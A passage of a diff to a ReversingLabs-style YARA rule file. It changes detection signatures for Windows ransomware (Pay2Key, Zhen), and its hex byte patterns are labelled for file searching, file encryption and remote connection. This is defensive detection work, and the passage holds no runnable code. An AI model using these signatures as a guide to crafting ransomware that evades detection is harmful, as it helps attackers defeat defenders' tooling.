+            6A ?? 6A ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ??
+            E8 ?? ?? ?? ?? BF ?? ?? ?? ?? 8B 70 ?? 03 30 3B F7 7D ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D
+            8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 3B F7 7D ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ??
+            E8 ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ??
+            ?? ?? F6 85 ?? ?? ?? ?? ?? 74 ?? 8B 45 ?? 8D 4D ?? 51 3B 45 ?? 74 ?? 8B C8 E8 ?? ??
+            ?? ?? 83 45 ?? ?? EB ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ??
+            C6 45 ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 53 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ??
+            ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 8B 7D ?? 8B 75 ?? 6A ?? 5B 3B F7 74 ?? 56 E8 ?? ?? ??
+            ?? 03 F3 59 3B F7 75 ?? 8B 7D ?? 8B 75 ?? 85 F6 74 ?? 3B F7 74 ?? 8B CE E8 ?? ?? ??
+            ?? 03 F3 3B F7 75 ?? 8B 75 ?? 8B 45 ?? 2B C6 99 F7 FB 6B C0 ?? 50 56 E8 ?? ?? ?? ??
+            59 59 8D 4D ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? C3 E8
+        }
+		$remote_connection_p1 = {
+            55 8D AC 24 ?? ?? ?? ?? 81 EC ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50
+            81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 85 ?? ?? ?? ?? 53 56 57 50 8D 45 ?? 64 A3
+            ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 50 BA ?? ?? ?? ?? 8D 8D ?? ?? ??
+            ?? E8 ?? ?? ?? ?? C6 45 ?? ?? C7 04 24 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ??
+            ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? 51 8B C8 E8 ?? ?? ?? ?? 50 8D 4D ?? E8
+            ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 45 ?? C6 45 ?? ?? 50 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4
+            ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? 51 8B C8 E8 ?? ?? ?? ?? 50 8D 4D ?? E8 ?? ?? ?? ??
+            68 ?? ?? ?? ?? 8D 45 ?? C6 45 ?? ?? 50 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ??
+            ?? ?? ?? C6 45 ?? ?? 51 8B C8 E8 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D
+            4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ??
+            ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ??
+            ?? 83 BD ?? ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 8B BD ?? ?? ?? ?? 8D B5 ?? ?? ?? ?? 0F 43
+            8D ?? ?? ?? ?? 03 F9 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 8D 8D ?? ??
+            ?? ?? 0F 43 B5 ?? ?? ?? ?? 33 C0 66 89 85 ?? ?? ?? ?? 33 DB 8B C7 89 9D
+        }
+		$remote_connection_p2 = {
+            2B C6 50 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 45 ?? C6 45 ?? ?? EB ?? 66 0F BE 06 8D
+            8D ?? ?? ?? ?? 0F B7 C0 50 E8 ?? ?? ?? ?? 46 3B F7 75 ?? 53 53 53 53 68 ?? ?? ?? ??
+            C6 45 ?? ?? 88 5D ?? FF 15 ?? ?? ?? ?? 8B D8 85 DB 0F 84 ?? ?? ?? ?? 6A ?? 33 C0 50
+            6A ?? 50 50 6A ?? 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 89 45 ?? 85
+            C0 74 ?? 6A ?? 68 ?? ?? ?? ?? 33 C9 51 51 51 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 FF 15
+            ?? ?? ?? ?? 8B F0 85 F6 74 ?? 33 C0 50 50 50 50 56 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 68
+            ?? ?? ?? ?? 8D 45 ?? 6A ?? 50 E8 ?? ?? ?? ?? 51 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? ??
+            83 7D ?? ?? 0F 85 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 56 FF D7 FF 75 ?? FF D7 53 FF
+            D7 80 7D ?? ?? 74 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 8D 8D ?? ?? ?? ?? E8 ?? ?? ??
+            ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ??
+            8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B 8D ?? ?? ?? ?? 33 CD E8 ?? ?? ?? ?? 81
+            C5 ?? ?? ?? ?? C9 C3 8B 85 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 3D ?? ?? ?? ?? 73 ??
+            8D 95 ?? ?? ?? ?? C6 84 05 ?? ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 85
+            ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 85 C0 75 ??
+            E9 ?? ?? ?? ?? E8
+        }
+		$encrypt_files_p1 = {
+            66 39 03 0F 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 33 C0 8D 8D ??
+            ?? ?? ?? 68 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ??
+            ?? 8D 95 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 0F 43 95
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 8D 85 ?? ?? ?? ?? C7 85 ?? ?? ??
+            ?? ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 8D
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 5B C6 45 ?? ?? 8D 8D ?? ?? ?? ?? 39 9D ?? ?? ?? ??
+            8B 85 ?? ?? ?? ?? 0F 43 8D ?? ?? ?? ?? 8D 04 41 8D 8D ?? ?? ?? ?? 0F 43 8D ?? ?? ??
+            ?? 51 50 51 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 89
+            85 ?? ?? ?? ?? 88 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 50 BA ?? ?? ?? ?? 8D
+            4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? C7 04 24 ?? ?? ?? ?? 50 8D 45 ?? 50 E8 ?? ?? ?? ??
+            83 C4 ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? 51 8B C8 E8 ?? ?? ?? ?? 50 8D 4D ?? E8 ?? ??
+            ?? ?? C6 45 ?? ?? 68 ?? ?? ?? ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8D
         }
 		$encrypt_files_p2 = {
-            8D 8D ?? ?? ?? ?? 48 89 B5 ?? ?? ?? ?? 44 8D 42 ?? E8 ?? ?? ?? ?? 4C 8B 05 ?? ?? ??
-            ?? 48 8D 8D ?? ?? ?? ?? 48 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? BB ?? ?? ?? ?? 4C 89 BD
-            ?? ?? ?? ?? 44 8B CB C7 44 24 ?? ?? ?? ?? ?? 45 33 C0 48 8D 8D ?? ?? ?? ?? 33 D2 FF
-            15 ?? ?? ?? ?? 85 C0 75 ?? FF 15 ?? ?? ?? ?? 3D ?? ?? ?? ?? 75 ?? 48 8D 44 24 ?? 45
-            33 C9 45 33 C0 48 89 44 24 ?? 8D 53 ?? 33 C9 FF 15 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ??
-            48 8D 4C 24 ?? FF 15 ?? ?? ?? ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? EB ?? FF 15 ?? ?? ??
-            ?? 3D ?? ?? ?? ?? 75 ?? 44 8B CB C7 44 24 ?? ?? ?? ?? ?? 45 33 C0 48 8D 8D ?? ?? ??
-            ?? 33 D2 FF 15 ?? ?? ?? ?? 48 8B BD ?? ?? ?? ?? 48 85 FF 0F 84 ?? ?? ?? ?? 48 8B 0D
-            ?? ?? ?? ?? 41 8B DF 48 81 C1 ?? ?? ?? ?? 45 8B F7 FF 15 ?? ?? ?? ?? 85 C0 7E ?? 49
-            8B F7 48 8B 05 ?? ?? ?? ?? 4C 8D 05 ?? ?? ?? ?? BA ?? ?? ?? ?? 0F BE 8C 06 ?? ?? ??
-            ?? 44 0F BE 8C 06 ?? ?? ?? ?? 89 4C 24 ?? 48 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 D2
-            48 8D 8D ?? ?? ?? ?? 44 8D 42 ?? E8 ?? ?? ?? ?? 8B CB 48 8D 76 ?? FF C3 41 83 C6 ??
-            88 84 0D ?? ?? ?? ?? 48 8B 0D ?? ?? ?? ?? 48 81 C1 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 44
+            8D ?? ?? ?? ?? 83 C4 ?? 3B C8 74 ?? 33 C9 88 4D ?? 8D 8D ?? ?? ?? ?? FF 75 ?? 50 E8
+            ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ??
+            ?? ?? ?? 8D 4D ?? C6 45 ?? ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 56 E8
+            ?? ?? ?? ?? 56 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 6A ?? 33 C0 59 89 85 ??
+            ?? ?? ?? 89 8D ?? ?? ?? ?? 88 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 8D ?? ?? ?? ?? 88
+            85 ?? ?? ?? ?? BF ?? ?? ?? ?? C6 45 ?? ?? 57 50 8D 45 ?? 50 E8 ?? ?? ?? ?? 59 8D 4D
+            ?? E8 ?? ?? ?? ?? 33 C0 C6 45 ?? ?? 57 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 8D
+            8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 6A ?? 59 99 F7 F9 8D 4D ??
+            52 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 59 99 F7 F9 8D 8D ?? ?? ?? ?? 52 E8 ?? ?? ??
+            ?? 83 EB ?? 75 ?? 8D 95 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8D 8D
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 95 ?? ?? ?? ?? 8D 8D ?? ?? ?? ??
+            E8 ?? ?? ?? ?? 57 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 53 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 51 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ??
+            ?? ?? ?? 39 9D ?? ?? ?? ?? 74 ?? 83 BD ?? ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? FF B5 ?? ??
+            ?? ?? 0F 43 95 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 8D 8D ?? ?? ?? ?? E8
+            ?? ?? ?? ?? BE ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 56 8D 4D ?? E8 ?? ?? ?? ?? 59 8D 8D ??
+            ?? ?? ?? C6 45 ?? ?? 51 8B C8 E8 ?? ?? ?? ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 56 8D 45 ??
+            C6 45 ?? ?? 50 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? 51
         }
 		$encrypt_files_p3 = {
-            3B F0 7C ?? 48 8D 35 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 45 33 C9 48 89 44 24 ?? 48 8D
-            95 ?? ?? ?? ?? 44 8B C3 44 89 7C 24 ?? 48 8B CF FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ??
-            ?? ?? 48 8B 1D ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? 48 8B 15 ?? ?? ?? ?? 4C 8B C3 E8 ??
-            ?? ?? ?? 48 8B 8D ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 45 33 C9 C7 44 24 ?? ?? ?? ?? ??
-            48 89 44 24 ?? 33 D2 48 8D 85 ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 48 89 44 24 ?? 45 8D 41
-            ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 41 8B DF 44 39 BD ?? ?? ?? ?? 76 ?? 8B C3 4C 8D 05
-            ?? ?? ?? ?? BA ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? 44 0F B6 8C 05 ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 48 8D 95 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? FF C3 3B 9D ?? ??
-            ?? ?? 72 ?? 48 8B 8D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 33 D2 48 8B CF FF 15 ?? ?? ?? ??
-            48 8B 05 ?? ?? ?? ?? 4C 8D 8D ?? ?? ?? ?? 48 83 C0 ?? 4C 8D 05 ?? ?? ?? ?? BA ?? ??
-            ?? ?? 48 89 44 24 ?? 48 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F 6F 05 ?? ?? 06 00 48
-            8D 95 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? 66 44 89 BD ?? ?? 00 00 F3 0F 7F 85 ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ??
-            48 8D 8D ?? ?? ?? ?? 48 89 B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 48 8B 8D ?? ?? ?? ??
-            48 33 CC E8 ?? ?? ?? ?? 4C 8D 9C 24 ?? ?? ?? ?? 49 8B 5B ?? 49 8B 73 ?? 49 8B 7B ??
-            49 8B E3 41 5F 41 5E 5D C3
+            8B C8 E8 ?? ?? ?? ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 56 8D 45 ?? C6 45 ?? ?? 50 8D 85 ??
+            ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? 51 8B C8 E8 ?? ??
+            ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D ??
+            E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ??
+            E8 ?? ?? ?? ?? 8B F3 39 B5 ?? ?? ?? ?? 76 ?? 83 BD ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ??
+            8D 8D ?? ?? ?? ?? 0F 43 85 ?? ?? ?? ?? 8A 04 30 04 ?? 88 45 ?? FF 75 ?? E8 ?? ?? ??
+            ?? 46 3B B5 ?? ?? ?? ?? 72 ?? 8B F3 39 B5 ?? ?? ?? ?? 76 ?? 83 BD ?? ?? ?? ?? ?? 8D
+            85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 0F 43 85 ?? ?? ?? ?? 8A 04 30 2C ?? 88 45 ?? FF 75
+            ?? E8 ?? ?? ?? ?? 46 3B B5 ?? ?? ?? ?? 72 ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? 50 8D
+            8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? C7 04 24 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ??
+            50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ??
+            ?? ?? ?? FF 15 ?? ?? ?? ?? 57 8D 85 ?? ?? ?? ?? 53 50 E8 ?? ?? ?? ?? 59 59 8D 8D ??
+            ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 51 0F 43
+        }
+		$encrypt_files_p4 = {
+            85 ?? ?? ?? ?? 51 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? BE ?? ??
+            ?? ?? 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 56 50 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ??
+            ?? ?? C6 45 ?? ?? 51 8B C8 E8 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ??
+            ?? ?? ?? 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 50 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D
+            ?? ?? ?? ?? C6 45 ?? ?? 51 8B C8 E8 ?? ?? ?? ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 68 ?? ??
+            ?? ?? 8D 45 ?? C6 45 ?? ?? 50 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ??
+            C6 45 ?? ?? 51 8B C8 E8 ?? ?? ?? ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 45
+            ?? C6 45 ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B D0 C6 45 ?? ?? 8D
+            8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ??
+            ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 8D ??
+            ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ??
+            ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 E8 ?? ?? ?? ??
+            59 59 68 ?? ?? ?? ?? 51 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 51 8D 8D ??
+            ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 51 8D 8D ?? ?? ?? ?? C6 45 ?? ??
+            E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 51 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 68 ??
+            ?? ?? ?? 51 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 51 8D 8D ??
+            ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8D
+            8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8
+            ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 8D
+        }
+		$encrypt_files_p5 = {
+            85 ?? ?? ?? ?? 53 50 E8 ?? ?? ?? ?? 59 59 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ??
+            ?? 8D 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 51 0F 43 85 ?? ?? ?? ?? 51 50 8D 8D ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ??
+            ?? ?? ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 56 50 8D 45 ?? C6 45 ?? ?? 50 E8 ?? ?? ?? ?? 83
+            C4 ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? 51 8B C8 E8 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? E8
+            ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8
+            ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? 51 8B C8 E8 ?? ?? ?? ?? 50 8D 4D
+            ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 45 ?? C6 45 ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ??
+            ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? 51 8B C8 E8 ?? ?? ?? ?? 50 8D 4D ??
+            E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 45 ?? C6 45 ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ??
+            ?? ?? 83 C4 ?? 8B D0 C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D
+        }
+		$encrypt_files_p6 = {
+            E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D ?? E8
+            ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D
+            ?? E8 ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ??
+            ?? 83 EC ?? 8D 85 ?? ?? ?? ?? 8B CC 89 65 ?? 50 89 59 ?? 89 59 ?? E8 ?? ?? ?? ?? 83
+            EC ?? C6 45 ?? ?? 8B CC 89 65 ?? 8D 85 ?? ?? ?? ?? 50 89 59 ?? 89 59 ?? E8 ?? ?? ??
+            ?? 83 EC ?? C6 45 ?? ?? 8B CC 89 65 ?? 8D 85 ?? ?? ?? ?? 50 89 59 ?? 89 59 ?? E8 ??
+            ?? ?? ?? 83 EC ?? C6 45 ?? ?? 8B CC 8D 85 ?? ?? ?? ?? 50 89 59 ?? 89 59 ?? E8 ?? ??
+            ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 8D ?? ?? ?? ??
+            8D 95 ?? ?? ?? ?? 83 C4 ?? 8B F0 83 BD ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 0F 43 95 ??
+            ?? ?? ?? 03 CA 83 BD ?? ?? ?? ?? ?? 0F 43 85 ?? ?? ?? ?? 2B C8 51 50 56 E8 ?? ?? ??
+            ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 53 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ??
+            68
         }
 
 	condition:
-		uint16(0)==0x5A4D and $search_files and ( all of ($encrypt_files_p*))
+		uint16(0)==0x5A4D and ( all of ($find_files_p*)) and ( all of ($encrypt_files_p*)) and ( all of ($remote_connection_p*))
 }
-rule REVERSINGLABS_Win32_Ransomware_Pay2Key : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_Zhen : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects Pay2Key ransomware."
+		description = "Yara rule that detects Zhen ransomware."
 		author = "ReversingLabs"
-		id = "2e482222-0483-5fe3-bb87-cfadda8e7e7a"
-		date = "2021-04-14"
-		modified = "2021-04-14"
+		id = "ce6bc48d-934b-582c-8ce7-3dd595cbf5dd"
+		date = "2021-04-28"
+		modified = "2021-04-28"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.Pay2Key.yara#L1-L99"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "2497504f3afc99523cb29e51652a24f4374316d57d4baf5cde8d22e75a425585"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.Zhen.yara#L1-L176"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "17b24e7baeccd90b8695eb8d21d9ee4a317806ed7713252d315d06bee3f93e65"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -35474,92 +36981,164 @@ rule REVERSINGLABS_Win32_Ransomware_Pay2Key : TC_DETECTION MALICIOUS MALWARE FIL
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "Pay2Key"
+		tc_detection_name = "Zhen"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$find_files = {
-            8B FF 55 8B EC 51 8B 4D ?? 8D 51 ?? 8A 01 41 84 C0 75 ?? 2B CA 83 C8 ?? 57 8B 7D ??
-            41 2B C7 89 4D ?? 3B C8 76 ?? 6A ?? 58 EB ?? 53 56 8D 5F ?? 03 D9 6A ?? 53 E8 ?? ??
-            ?? ?? 8B F0 59 59 85 FF 74 ?? 57 FF 75 ?? 53 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ??
-            FF 75 ?? 2B DF 8D 04 3E FF 75 ?? 53 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8B 4D ??
-            56 E8 ?? ?? ?? ?? 6A ?? 8B F0 E8 ?? ?? ?? ?? 59 8B C6 5E 5B 5F 8B E5 5D C3 33 C0 50
-            50 50 50 50 E8 ?? ?? ?? ?? CC 8B FF 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5
-            89 45 ?? 8B 4D ?? 53 8B 5D ?? 56 8B 75 ?? 57 89 B5 ?? ?? ?? ?? EB ?? 8A 01 3C ?? 74
-            ?? 3C ?? 74 ?? 3C ?? 74 ?? 51 53 E8 ?? ?? ?? ?? 59 59 8B C8 3B CB 75 ?? 8A 11 80 FA
-            ?? 75 ?? 8D 43 ?? 3B C8 74 ?? 56 33 FF 57 57 53 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 33 FF
-            80 FA ?? 74 ?? 80 FA ?? 74 ?? 80 FA ?? 74 ?? 8B C7 EB ?? 33 C0 40 0F B6 C0 2B CB 41
-            F7 D8 68 ?? ?? ?? ?? 1B C0 23 C1 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 57 50 E8 ?? ??
-            ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 57 57 57 50 57 53 FF 15 ?? ?? ?? ?? 8B F0 8B 85 ??
-            ?? ?? ?? 83 FE ?? 75 ?? 50 57 57 53 E8 ?? ?? ?? ?? 83 C4 ?? 8B F8 83 FE ?? 74 ?? 56
-            FF 15 ?? ?? ?? ?? 8B C7 8B 4D ?? 5F 5E 33 CD 5B E8 ?? ?? ?? ?? 8B E5 5D C3 8B 48 ??
